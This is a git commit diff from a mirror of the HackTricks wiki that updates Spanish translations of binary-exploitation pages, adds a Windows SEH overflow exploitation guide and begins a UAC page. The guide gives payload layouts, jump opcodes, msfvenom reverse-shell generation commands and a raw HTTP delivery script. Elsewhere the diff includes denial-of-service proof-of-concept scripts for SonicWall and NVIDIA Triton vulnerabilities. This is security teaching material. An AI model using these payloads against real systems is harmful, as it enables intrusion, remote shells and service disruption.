mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/stack-overflow/windows-seh-overflow
This commit is contained in:
Translator
parent
622f74b981
commit
ee0e53738b
@ -779,6 +779,7 @@
|
||||
- [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md)
|
||||
- [SROP - ARM64](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md)
|
||||
- [Synology Encrypted Archive Decryption](hardware-physical-access/firmware-analysis/synology-encrypted-archive-decryption.md)
|
||||
- [Windows Seh Overflow](binary-exploitation/stack-overflow/windows-seh-overflow.md)
|
||||
- [Array Indexing](binary-exploitation/array-indexing.md)
|
||||
- [Chrome Exploiting](binary-exploitation/chrome-exploiting.md)
|
||||
- [Integer Overflow](binary-exploitation/integer-overflow.md)
|
||||
|
||||
@ -2,15 +2,15 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Qué es un Stack Overflow
|
||||
## ¿Qué es un Stack Overflow
|
||||
|
||||
Un **stack overflow** es una vulnerabilidad que ocurre cuando un programa escribe más datos en la pila de los que se le ha asignado para contener. Este exceso de datos **sobrescribirá el espacio de memoria adyacente**, lo que llevará a la corrupción de datos válidos, interrupción del flujo de control y potencialmente a la ejecución de código malicioso. Este problema a menudo surge debido al uso de funciones inseguras que no realizan comprobaciones de límites en la entrada.
|
||||
Un **stack overflow** es una vulnerabilidad que ocurre cuando un programa escribe más datos en la stack de los que se le han asignado para almacenar. Este exceso de datos **sobrescribirá el espacio de memoria adyacente**, provocando la corrupción de datos válidos, la alteración del flujo de control y, potencialmente, la ejecución de código malicioso. Este problema suele surgir por el uso de funciones inseguras que no realizan comprobaciones de límites sobre la entrada.
|
||||
|
||||
El principal problema de esta sobrescritura es que el **puntero de instrucción guardado (EIP/RIP)** y el **puntero base guardado (EBP/RBP)** para regresar a la función anterior están **almacenados en la pila**. Por lo tanto, un atacante podrá sobrescribir esos y **controlar el flujo de ejecución del programa**.
|
||||
El problema principal de esta sobrescritura es que el **saved instruction pointer (EIP/RIP)** y el **saved base pointer (EBP/RBP)** para regresar a la función anterior están **almacenados en la stack**. Por lo tanto, un atacante podrá sobrescribirlos y **controlar el flujo de ejecución del programa**.
|
||||
|
||||
La vulnerabilidad generalmente surge porque una función **copia dentro de la pila más bytes de los que se le han asignado**, por lo que puede sobrescribir otras partes de la pila.
|
||||
La vulnerabilidad suele aparecer porque una función **copia en la stack más bytes de los que tiene asignados**, pudiendo así sobrescribir otras partes de la stack.
|
||||
|
||||
Algunas funciones comunes vulnerables a esto son: **`strcpy`, `strcat`, `sprintf`, `gets`**... Además, funciones como **`fgets`**, **`read` & `memcpy`** que toman un **argumento de longitud**, podrían usarse de manera vulnerable si la longitud especificada es mayor que la asignada.
|
||||
Algunas funciones comunes vulnerables a esto son: **`strcpy`, `strcat`, `sprintf`, `gets`**... Además, funciones como **`fgets`**, **`read`** y **`memcpy`** que toman un **argumento de longitud**, podrían usarse de forma vulnerable si la longitud especificada es mayor que la asignada.
|
||||
|
||||
Por ejemplo, las siguientes funciones podrían ser vulnerables:
|
||||
```c
|
||||
@ -21,13 +21,13 @@ gets(buffer); // This is where the vulnerability lies
|
||||
printf("You entered: %s\n", buffer);
|
||||
}
|
||||
```
|
||||
### Encontrando los offsets de Stack Overflows
|
||||
### Finding Stack Overflows offsets
|
||||
|
||||
La forma más común de encontrar desbordamientos de pila es dar una entrada muy grande de `A`s (por ejemplo, `python3 -c 'print("A"*1000)'`) y esperar un `Segmentation Fault` que indique que se intentó acceder a la **dirección `0x41414141`**.
|
||||
La forma más común de encontrar Stack Overflows es dar una entrada muy grande de `A`s (e.g. `python3 -c 'print("A"*1000)'`) y esperar un `Segmentation Fault` que indica que se intentó acceder a la **address `0x41414141`**.
|
||||
|
||||
Además, una vez que encuentres que hay una vulnerabilidad de Stack Overflow, necesitarás encontrar el offset hasta que sea posible **sobrescribir la dirección de retorno**, para esto se suele usar una **secuencia de De Bruijn.** La cual, para un alfabeto dado de tamaño _k_ y subsecuencias de longitud _n_, es una **secuencia cíclica en la que cada posible subsecuencia de longitud _n_ aparece exactamente una vez** como una subsecuencia contigua.
|
||||
Además, una vez que confirmaste que hay una Stack Overflow vulnerability necesitarás encontrar el offset hasta que sea posible **overwrite the return address**, para esto suele usarse una **De Bruijn sequence.** La cual, para un alfabeto de tamaño _k_ y subsecuencias de longitud _n_, es una **cyclic sequence in which every possible subsequence of length _n_ appears exactly once** como subsecuencia contigua.
|
||||
|
||||
De esta manera, en lugar de necesitar averiguar manualmente qué offset se necesita para controlar el EIP, es posible usar como relleno una de estas secuencias y luego encontrar el offset de los bytes que terminaron sobrescribiéndola.
|
||||
De este modo, en lugar de necesitar averiguar a mano qué offset hace falta para controlar el EIP, es posible usar como padding una de estas secuencias y luego encontrar el offset de los bytes que terminaron sobrescribiéndola.
|
||||
|
||||
Es posible usar **pwntools** para esto:
|
||||
```python
|
||||
@ -48,43 +48,52 @@ pattern create 200 #Generate length 200 pattern
|
||||
pattern search "avaaawaa" #Search for the offset of that substring
|
||||
pattern search $rsp #Search the offset given the content of $rsp
|
||||
```
|
||||
## Explotación de desbordamientos de pila
|
||||
## Explotando Stack Overflows
|
||||
|
||||
Durante un desbordamiento (suponiendo que el tamaño del desbordamiento sea lo suficientemente grande) podrás **sobrescribir** valores de variables locales dentro de la pila hasta alcanzar el **EBP/RBP y EIP/RIP guardados (o incluso más)**.\
|
||||
La forma más común de abusar de este tipo de vulnerabilidad es **modificando la dirección de retorno** para que cuando la función termine, el **flujo de control se redirija a donde el usuario especificó** en este puntero.
|
||||
Durante un overflow (suponiendo que el tamaño del overflow sea lo bastante grande) podrás **sobrescribir** valores de variables locales dentro del stack hasta alcanzar el **EBP/RBP and EIP/RIP (or even more)**.\
|
||||
La forma más común de abusar de este tipo de vulnerabilidad es **modificando la dirección de retorno** de modo que cuando la función termine el **flujo de control se redirigirá hacia donde el usuario especificó** en ese puntero.
|
||||
|
||||
Sin embargo, en otros escenarios, tal vez solo **sobrescribir algunos valores de variables en la pila** podría ser suficiente para la explotación (como en desafíos CTF fáciles).
|
||||
Sin embargo, en otros escenarios quizá con solo **sobrescribir algunos valores de variables en el stack** sea suficiente para la explotación (como en CTFs sencillos).
|
||||
|
||||
### Ret2win
|
||||
|
||||
En este tipo de desafíos CTF, hay una **función** **dentro** del binario que **nunca se llama** y que **necesitas llamar para ganar**. Para estos desafíos solo necesitas encontrar el **desplazamiento para sobrescribir la dirección de retorno** y **encontrar la dirección de la función** a llamar (generalmente [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) estaría deshabilitado) para que cuando la función vulnerable regrese, se llame a la función oculta:
|
||||
En este tipo de retos CTF, hay una **función** **dentro** del binario que **nunca se llama** y que **necesitas invocar para ganar**. Para estos retos solo necesitas encontrar el **offset para sobrescribir la dirección de retorno** y **la dirección de la función** a llamar (usualmente [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) estará deshabilitado) de modo que cuando la función vulnerable retorne, se llame a la función oculta:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
ret2win/
|
||||
{{#endref}}
|
||||
|
||||
### Shellcode en la pila
|
||||
### Stack Shellcode
|
||||
|
||||
En este escenario, el atacante podría colocar un shellcode en la pila y abusar del EIP/RIP controlado para saltar al shellcode y ejecutar código arbitrario:
|
||||
En este escenario el atacante puede colocar un shellcode en el stack y aprovechar el EIP/RIP controlado para saltar al shellcode y ejecutar código arbitrario:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
stack-shellcode/
|
||||
{{#endref}}
|
||||
|
||||
### Técnicas ROP y Ret2...
|
||||
### Windows SEH-based exploitation (nSEH/SEH)
|
||||
|
||||
Esta técnica es el marco fundamental para eludir la principal protección de la técnica anterior: **Pila no ejecutable (NX)**. Y permite realizar varias otras técnicas (ret2lib, ret2syscall...) que terminarán ejecutando comandos arbitrarios al abusar de instrucciones existentes en el binario:
|
||||
En Windows de 32 bits, un overflow puede sobrescribir la cadena del Structured Exception Handler (SEH) en lugar de la dirección de retorno guardada. La explotación típicamente reemplaza el puntero SEH con un gadget POP POP RET y usa el campo nSEH de 4 bytes para un salto corto que pivotea de vuelta al gran buffer donde vive el shellcode. Un patrón común es un short jmp en nSEH que aterriza en un near jmp de 5 bytes colocado justo antes de nSEH para saltar cientos de bytes hacia el inicio del payload.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
windows-seh-overflow.md
|
||||
{{#endref}}
|
||||
|
||||
### ROP & Ret2... techniques
|
||||
|
||||
Esta técnica es el marco fundamental para eludir la principal protección frente a la técnica anterior: **No executable stack (NX)**. Además permite realizar varias otras técnicas (ret2lib, ret2syscall...) que acabarán ejecutando comandos arbitrarios aprovechando instrucciones existentes en el binario:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../rop-return-oriented-programing/
|
||||
{{#endref}}
|
||||
|
||||
## Desbordamientos de heap
|
||||
## Heap Overflows
|
||||
|
||||
Un desbordamiento no siempre va a estar en la pila, también podría estar en el **heap**, por ejemplo:
|
||||
Un overflow no siempre estará en el stack; también podría estar en el **heap**, por ejemplo:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -93,42 +102,42 @@ Un desbordamiento no siempre va a estar en la pila, también podría estar en el
|
||||
|
||||
## Tipos de protecciones
|
||||
|
||||
Hay varias protecciones que intentan prevenir la explotación de vulnerabilidades, consúltalas en:
|
||||
Existen varias protecciones que intentan prevenir la explotación de vulnerabilidades; revísalas en:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../common-binary-protections-and-bypasses/
|
||||
{{#endref}}
|
||||
|
||||
### Ejemplo del mundo real: CVE-2025-40596 (SonicWall SMA100)
|
||||
### Real-World Example: CVE-2025-40596 (SonicWall SMA100)
|
||||
|
||||
Una buena demostración de por qué **`sscanf` nunca debería ser confiado para analizar entradas no confiables** apareció en 2025 en el dispositivo SSL-VPN SMA100 de SonicWall.
|
||||
La rutina vulnerable dentro de `/usr/src/EasyAccess/bin/httpd` intenta extraer la versión y el punto final de cualquier URI que comience con `/__api__/`:
|
||||
Una buena demostración de por qué **`sscanf` nunca debe usarse para analizar entrada no confiable** apareció en 2025 en el appliance SSL-VPN SMA100 de SonicWall.
|
||||
La rutina vulnerable dentro de `/usr/src/EasyAccess/bin/httpd` intenta extraer la versión y el endpoint de cualquier URI que comience con `/__api__/`:
|
||||
```c
|
||||
char version[3];
|
||||
char endpoint[0x800] = {0};
|
||||
/* simplified proto-type */
|
||||
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
|
||||
```
|
||||
1. La primera conversión (`%2s`) almacena de manera segura **dos** bytes en `version` (por ejemplo, `"v1"`).
|
||||
2. La segunda conversión (`%s`) **no tiene especificador de longitud**, por lo tanto `sscanf` seguirá copiando **hasta el primer byte NUL**.
|
||||
3. Debido a que `endpoint` se encuentra en la **pila** y tiene **0x800 bytes de largo**, proporcionar una ruta más larga que 0x800 bytes corrompe todo lo que se encuentra después del búfer ‑ incluyendo el **stack canary** y la **dirección de retorno guardada**.
|
||||
1. La primera conversión (`%2s`) almacena de forma segura **dos** bytes en `version` (p. ej. `"v1"`).
|
||||
2. La segunda conversión (`%s`) **no tiene especificador de longitud**, por lo tanto `sscanf` seguirá copiando **hasta el primer NUL byte**.
|
||||
3. Debido a que `endpoint` está ubicado en la **stack** y tiene **0x800 bytes de longitud**, proporcionar una ruta más larga que 0x800 bytes corrompe todo lo que sigue después del buffer ‑ incluyendo el **stack canary** y la **saved return address**.
|
||||
|
||||
Una prueba de concepto de una sola línea es suficiente para provocar el fallo **antes de la autenticación**:
|
||||
Una prueba de concepto de una sola línea es suficiente para provocar el crash **antes de la autenticación**:
|
||||
```python
|
||||
import requests, warnings
|
||||
warnings.filterwarnings('ignore')
|
||||
url = "https://TARGET/__api__/v1/" + "A"*3000
|
||||
requests.get(url, verify=False)
|
||||
```
|
||||
Aunque los canarios de pila abortan el proceso, un atacante aún obtiene un **Denial-of-Service** primitivo (y, con filtraciones de información adicionales, posiblemente ejecución de código). La lección es simple:
|
||||
Aunque stack canaries abortan el proceso, un atacante aún obtiene un primitivo de **Denial-of-Service** (y, con leaks de información adicionales, posiblemente code-execution). La lección es simple:
|
||||
|
||||
* Siempre proporciona un **ancho máximo de campo** (por ejemplo, `%511s`).
|
||||
* Prefiere alternativas más seguras como `snprintf`/`strncpy_s`.
|
||||
* Siempre proporcione un **ancho máximo de campo** (p. ej. `%511s`).
|
||||
* Prefiera alternativas más seguras como `snprintf`/`strncpy_s`.
|
||||
|
||||
### Ejemplo del Mundo Real: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
|
||||
### Ejemplo del mundo real: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
|
||||
|
||||
El servidor de inferencia Triton de NVIDIA (≤ v25.06) contenía múltiples **desbordamientos basados en pila** accesibles a través de su API HTTP.
|
||||
Triton Inference Server de NVIDIA (≤ v25.06) contenía múltiples **stack-based overflows** accesibles a través de su HTTP API.
|
||||
El patrón vulnerable apareció repetidamente en `http_server.cc` y `sagemaker_server.cc`:
|
||||
```c
|
||||
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
|
||||
@ -139,11 +148,11 @@ alloca(sizeof(struct evbuffer_iovec) * n);
|
||||
...
|
||||
}
|
||||
```
|
||||
1. `evbuffer_peek` (libevent) devuelve el **número de segmentos de buffer internos** que componen el cuerpo de la solicitud HTTP actual.
|
||||
2. Cada segmento provoca que se asigne un **`evbuffer_iovec` de 16 bytes** en la **pila** a través de `alloca()` – **sin ningún límite superior**.
|
||||
3. Al abusar de **HTTP _chunked transfer-encoding_**, un cliente puede forzar que la solicitud se divida en **cientos de miles de fragmentos de 6 bytes** (`"1\r\nA\r\n"`). Esto hace que `n` crezca sin límites hasta que la pila se agote.
|
||||
1. `evbuffer_peek` (libevent) devuelve el **número de segmentos de buffer internos** que componen el cuerpo de la petición HTTP actual.
|
||||
2. Cada segmento provoca que se asigne un `evbuffer_iovec` de **16 bytes** en la **stack** vía `alloca()` – **sin ningún límite superior**.
|
||||
3. Al abusar de **HTTP _chunked transfer-encoding_**, un cliente puede forzar que la petición se divida en **cientos de miles de fragmentos de 6 bytes** (`"1\r\nA\r\n"`). Esto hace que `n` crezca sin límite hasta que la stack se agote.
|
||||
|
||||
#### Prueba de Concepto (DoS)
|
||||
#### Prueba de concepto (DoS)
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import socket, sys
|
||||
@ -167,10 +176,10 @@ s.close()
|
||||
if __name__ == "__main__":
|
||||
exploit(*sys.argv[1:])
|
||||
```
|
||||
Una solicitud de ~3 MB es suficiente para sobrescribir la dirección de retorno guardada y **crash** el daemon en una construcción por defecto.
|
||||
Una solicitud de ~3 MB es suficiente para sobrescribir la dirección de retorno guardada y **crash** el daemon en un build por defecto.
|
||||
|
||||
#### Patch & Mitigation
|
||||
La versión 25.07 reemplaza la asignación de pila insegura con un **`std::vector` respaldado por heap** y maneja de manera elegante `std::bad_alloc`:
|
||||
#### Parche & Mitigación
|
||||
La versión 25.07 reemplaza la asignación insegura en la pila por un **heap-backed `std::vector`** y gestiona `std::bad_alloc` correctamente:
|
||||
```c++
|
||||
std::vector<evbuffer_iovec> v_vec;
|
||||
try {
|
||||
@ -182,11 +191,12 @@ struct evbuffer_iovec *v = v_vec.data();
|
||||
```
|
||||
Lecciones aprendidas:
|
||||
* Nunca llames a `alloca()` con tamaños controlados por el atacante.
|
||||
* Las solicitudes en fragmentos pueden cambiar drásticamente la forma de los buffers del lado del servidor.
|
||||
* Valida / limita cualquier valor derivado de la entrada del cliente *antes* de usarlo en asignaciones de memoria.
|
||||
* Las Chunked requests pueden cambiar drásticamente la forma de los buffers del lado del servidor.
|
||||
* Valida / limita cualquier valor derivado de la entrada del cliente *antes* de usarlo en las asignaciones de memoria.
|
||||
|
||||
## Referencias
|
||||
* [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
|
||||
* [Trail of Bits – Uncovering memory corruption in NVIDIA Triton](https://blog.trailofbits.com/2025/08/04/uncovering-memory-corruption-in-nvidia-triton-as-a-new-hire/)
|
||||
* [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
150
src/binary-exploitation/stack-overflow/windows-seh-overflow.md
Normal file
150
src/binary-exploitation/stack-overflow/windows-seh-overflow.md
Normal file
@ -0,0 +1,150 @@
|
||||
# Windows SEH-based Stack Overflow Exploitation (nSEH/SEH)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
La explotación basada en SEH es una técnica clásica de Windows x86 que abusa de la cadena Structured Exception Handler almacenada en la pila. Cuando un desbordamiento de búfer en la pila sobrescribe los dos campos de 4 bytes
|
||||
|
||||
- nSEH: pointer to the next SEH record, and
|
||||
- SEH: pointer to the exception handler function
|
||||
|
||||
un atacante puede tomar el control de la ejecución mediante:
|
||||
|
||||
1) Establecer SEH a la dirección de un POP POP RET gadget en un módulo no protegido, de modo que cuando se despacha una excepción el gadget retorne hacia bytes controlados por el atacante, y
|
||||
2) Usar nSEH para redirigir la ejecución (típicamente un short jump) de vuelta al gran buffer desbordado donde reside el shellcode.
|
||||
|
||||
Esta técnica es específica de procesos de 32 bits (x86). En sistemas modernos, preferir un módulo sin SafeSEH y sin ASLR para el gadget. Bad characters suelen incluir 0x00, 0x0a, 0x0d (NUL/CR/LF) debido a C-strings y al parsing HTTP.
|
||||
|
||||
---
|
||||
|
||||
## Encontrar offsets exactos (nSEH / SEH)
|
||||
|
||||
- Provoca un crash en el proceso y verifica que la cadena SEH ha sido sobrescrita (p. ej., en x32dbg/x64dbg, revisa la vista SEH).
|
||||
- Envía un patrón cíclico como los datos desbordantes y calcula los offsets de los dos dwords que caen en nSEH y SEH.
|
||||
|
||||
Ejemplo con peda/GEF/pwntools en un cuerpo POST de 1000 bytes:
|
||||
```bash
|
||||
# generate pattern (any tool is fine)
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
|
||||
# or
|
||||
python3 -c "from pwn import *; print(cyclic(1000).decode())"
|
||||
|
||||
# after crash, note the two 32-bit values from SEH view and compute offsets
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x32424163 # nSEH
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241 # SEH
|
||||
# ➜ offsets example: nSEH=660, SEH=664
|
||||
```
|
||||
Valida colocando marcadores en esas posiciones (p. ej., nSEH=b"BB", SEH=b"CC"). Mantén la longitud total constante para que el crash sea reproducible.
|
||||
|
||||
---
|
||||
|
||||
## Elección de un POP POP RET (SEH gadget)
|
||||
|
||||
Necesitas una secuencia POP POP RET para desenrollar el frame SEH y regresar a tus bytes nSEH. Búscala en un módulo sin SafeSEH y, preferiblemente, sin ASLR:
|
||||
|
||||
- Mona (Immunity/WinDbg): `!mona modules` luego `!mona seh -m modulename`.
|
||||
- x64dbg plugin ERC.Xdbg: `ERC --SEH` para listar POP POP RET gadgets y el estado de SafeSEH.
|
||||
|
||||
Elige una dirección que no contenga badchars cuando se escriba en little-endian (p. ej., `p32(0x004094D8)`). Prefiere gadgets dentro del binario vulnerable si las protecciones lo permiten.
|
||||
|
||||
---
|
||||
|
||||
## Técnica de salto hacia atrás (short + near jmp)
|
||||
|
||||
nSEH solo tiene 4 bytes, lo que admite como mucho un short jump de 2 bytes (`EB xx`) más padding. Si debes saltar hacia atrás cientos de bytes para alcanzar el inicio de tu buffer, usa un near jump de 5 bytes colocado justo antes de nSEH y encadena hacia él con un short jump desde nSEH.
|
||||
|
||||
Con nasmshell:
|
||||
```text
|
||||
nasm> jmp -660 ; too far for short; near jmp is 5 bytes
|
||||
E967FDFFFF
|
||||
nasm> jmp short -8 ; 2-byte short jmp fits in nSEH (with 2 bytes padding)
|
||||
EBF6
|
||||
nasm> jmp -652 ; 8 bytes closer (to account for short-jmp hop)
|
||||
E96FFDFFFF
|
||||
```
|
||||
Idea de diseño para un payload de 1000 bytes con nSEH en el offset 660:
|
||||
```python
|
||||
buffer_length = 1000
|
||||
payload = b"\x90"*50 + shellcode # NOP sled + shellcode at buffer start
|
||||
payload += b"A" * (660 - 8 - len(payload)) # pad so we are 8 bytes before nSEH
|
||||
payload += b"\xE9\x6F\xFD\xFF\xFF" + b"EEE" # near jmp -652 (5B) + 3B padding
|
||||
payload += b"\xEB\xF6" + b"BB" # nSEH: short jmp -8 + 2B pad
|
||||
payload += p32(0x004094D8) # SEH: POP POP RET (no badchars)
|
||||
payload += b"D" * (buffer_length - len(payload))
|
||||
```
|
||||
Flujo de ejecución:
|
||||
- Ocurre una excepción, el dispatcher usa el SEH sobrescrito.
|
||||
- POP POP RET desempila hacia nuestro nSEH.
|
||||
- nSEH ejecuta `jmp short -8` hacia el near jump de 5 bytes.
|
||||
- El near jump aterriza al inicio de nuestro buffer donde residen el NOP sled + shellcode.
|
||||
|
||||
---
|
||||
|
||||
## Caracteres malos
|
||||
|
||||
Construye una cadena completa de badchar y compara la memoria del stack después del crash, eliminando bytes que sean alterados por el parser objetivo. Para HTTP-based overflows, `\x00\x0a\x0d` casi siempre están excluidos.
|
||||
```python
|
||||
badchars = bytes([x for x in range(1,256)])
|
||||
payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for your case
|
||||
```
|
||||
---
|
||||
|
||||
## Shellcode generation (x86)
|
||||
|
||||
Usa msfvenom con tus badchars. Un pequeño NOP sled ayuda a tolerar variaciones en el punto de aterrizaje.
|
||||
```bash
|
||||
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
|
||||
-b "\x00\x0a\x0d" -f python -v sc
|
||||
```
|
||||
Si se genera sobre la marcha, el formato hex es conveniente para incrustarlo y decodificarlo en Python:
|
||||
```bash
|
||||
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
|
||||
-b "\x00\x0a\x0d" -f hex
|
||||
```
|
||||
---
|
||||
|
||||
## Entrega vía HTTP (CRLF preciso + Content-Length)
|
||||
|
||||
Cuando el vector vulnerable es el cuerpo de una solicitud HTTP, construye una raw request con CRLFs exactos y Content-Length correcto para que el servidor lea todo el cuerpo que desborda.
|
||||
```python
|
||||
# pip install pwntools
|
||||
from pwn import remote
|
||||
host, port = "<TARGET_IP>", 8080
|
||||
body = b"A" * 1000 # replace with the SEH-aware buffer above
|
||||
req = f"""POST / HTTP/1.1
|
||||
Host: {host}:{port}
|
||||
User-Agent: curl/8.5.0
|
||||
Accept: */*
|
||||
Content-Length: {len(body)}
|
||||
Connection: close
|
||||
|
||||
""".replace('\n','\r\n').encode() + body
|
||||
p = remote(host, port)
|
||||
p.send(req)
|
||||
print(p.recvall(timeout=0.5))
|
||||
p.close()
|
||||
```
|
||||
---
|
||||
|
||||
## Herramientas
|
||||
|
||||
- x32dbg/x64dbg para observar la cadena SEH y analizar el crash.
|
||||
- ERC.Xdbg (x64dbg plugin) para enumerar gadgets SEH: `ERC --SEH`.
|
||||
- Mona como alternativa: `!mona modules`, `!mona seh`.
|
||||
- nasmshell para ensamblar saltos cortos/near y copiar raw opcodes.
|
||||
- pwntools para crear payloads de red precisos.
|
||||
|
||||
---
|
||||
|
||||
## Notas y advertencias
|
||||
|
||||
- Aplica solo a procesos x86. x64 usa un esquema diferente de SEH y la explotación basada en SEH generalmente no es viable.
|
||||
- Preferir gadgets en módulos sin SafeSEH y ASLR; de lo contrario, encontrar un módulo no protegido cargado en el proceso.
|
||||
- Los watchdogs de servicio que reinician automáticamente tras un crash pueden facilitar el desarrollo iterativo del exploit.
|
||||
|
||||
## References
|
||||
- [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
|
||||
- [ERC.Xdbg – Exploit Research Plugin for x64dbg (SEH search)](https://github.com/Andy53/ERC.Xdbg)
|
||||
- [Corelan – Exploit writing tutorial part 7 (SEH)](https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-7-unicode-0day-buffer-overflow-seh-and-venetian-shellcode/)
|
||||
- [Mona.py – WinDbg/Immunity helper](https://github.com/corelan/mona)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
@ -1,118 +1,119 @@
|
||||
# UAC - Control de Cuentas de Usuario
|
||||
# UAC - Control de cuentas de usuario
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## UAC
|
||||
|
||||
[Control de Cuentas de Usuario (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) es una función que permite un **mensaje de consentimiento para actividades elevadas**. Las aplicaciones tienen diferentes niveles de `integridad`, y un programa con un **alto nivel** puede realizar tareas que **podrían comprometer potencialmente el sistema**. Cuando UAC está habilitado, las aplicaciones y tareas siempre **se ejecutan bajo el contexto de seguridad de una cuenta no administrativa** a menos que un administrador autorice explícitamente a estas aplicaciones/tareas para tener acceso a nivel de administrador al sistema para ejecutarse. Es una función de conveniencia que protege a los administradores de cambios no intencionados, pero no se considera un límite de seguridad.
|
||||
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) es una característica que habilita un **aviso de consentimiento para actividades con privilegios elevados**. Las aplicaciones tienen diferentes niveles de `integrity`, y un programa con un **nivel alto** puede realizar tareas que **podrían comprometer el sistema**. Cuando UAC está habilitado, las aplicaciones y tareas siempre **se ejecutan bajo el contexto de seguridad de una cuenta no administrativa** a menos que un administrador autorice explícitamente que estas aplicaciones/tareas tengan acceso con nivel de administrador para ejecutarse. Es una función de conveniencia que protege a los administradores de cambios no deseados, pero no se considera un límite de seguridad.
|
||||
|
||||
Para más información sobre los niveles de integridad:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../windows-local-privilege-escalation/integrity-levels.md
|
||||
{{#endref}}
|
||||
|
||||
Cuando UAC está en su lugar, a un usuario administrador se le otorgan 2 tokens: una clave de usuario estándar, para realizar acciones regulares como nivel regular, y una con privilegios de administrador.
|
||||
Cuando UAC está activo, a un usuario administrador se le asignan 2 tokens: uno con privilegios de usuario estándar, para realizar acciones regulares a nivel normal, y otro con privilegios de administrador.
|
||||
|
||||
Esta [página](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) discute cómo funciona UAC en gran profundidad e incluye el proceso de inicio de sesión, la experiencia del usuario y la arquitectura de UAC. Los administradores pueden usar políticas de seguridad para configurar cómo funciona UAC específico para su organización a nivel local (usando secpol.msc), o configurado y distribuido a través de Objetos de Política de Grupo (GPO) en un entorno de dominio de Active Directory. Los diversos ajustes se discuten en detalle [aquí](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings). Hay 10 configuraciones de Política de Grupo que se pueden establecer para UAC. La siguiente tabla proporciona detalles adicionales:
|
||||
Esta [página](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) explica cómo funciona UAC en profundidad e incluye el proceso de inicio de sesión, la experiencia del usuario y la arquitectura de UAC. Los administradores pueden usar políticas de seguridad para configurar cómo funciona UAC específico a su organización a nivel local (usando secpol.msc), o configurarlo y desplegarlo vía Group Policy Objects (GPO) en un entorno de Active Directory. Las distintas configuraciones se tratan en detalle [aquí](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings). Hay 10 configuraciones de Group Policy que se pueden establecer para UAC. La siguiente tabla proporciona detalle adicional:
|
||||
|
||||
| Configuración de Política de Grupo | Clave del Registro | Configuración Predeterminada |
|
||||
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | -------------------------------------------------------------- |
|
||||
| [Control de Cuentas de Usuario: Modo de Aprobación de Administrador para la cuenta de Administrador incorporada](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | Deshabilitado |
|
||||
| [Control de Cuentas de Usuario: Permitir que las aplicaciones UIAccess soliciten elevación sin usar el escritorio seguro](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | Deshabilitado |
|
||||
| [Control de Cuentas de Usuario: Comportamiento del mensaje de elevación para administradores en Modo de Aprobación de Administrador](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Solicitar consentimiento para binarios que no son de Windows |
|
||||
| [Control de Cuentas de Usuario: Comportamiento del mensaje de elevación para usuarios estándar](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Solicitar credenciales en el escritorio seguro |
|
||||
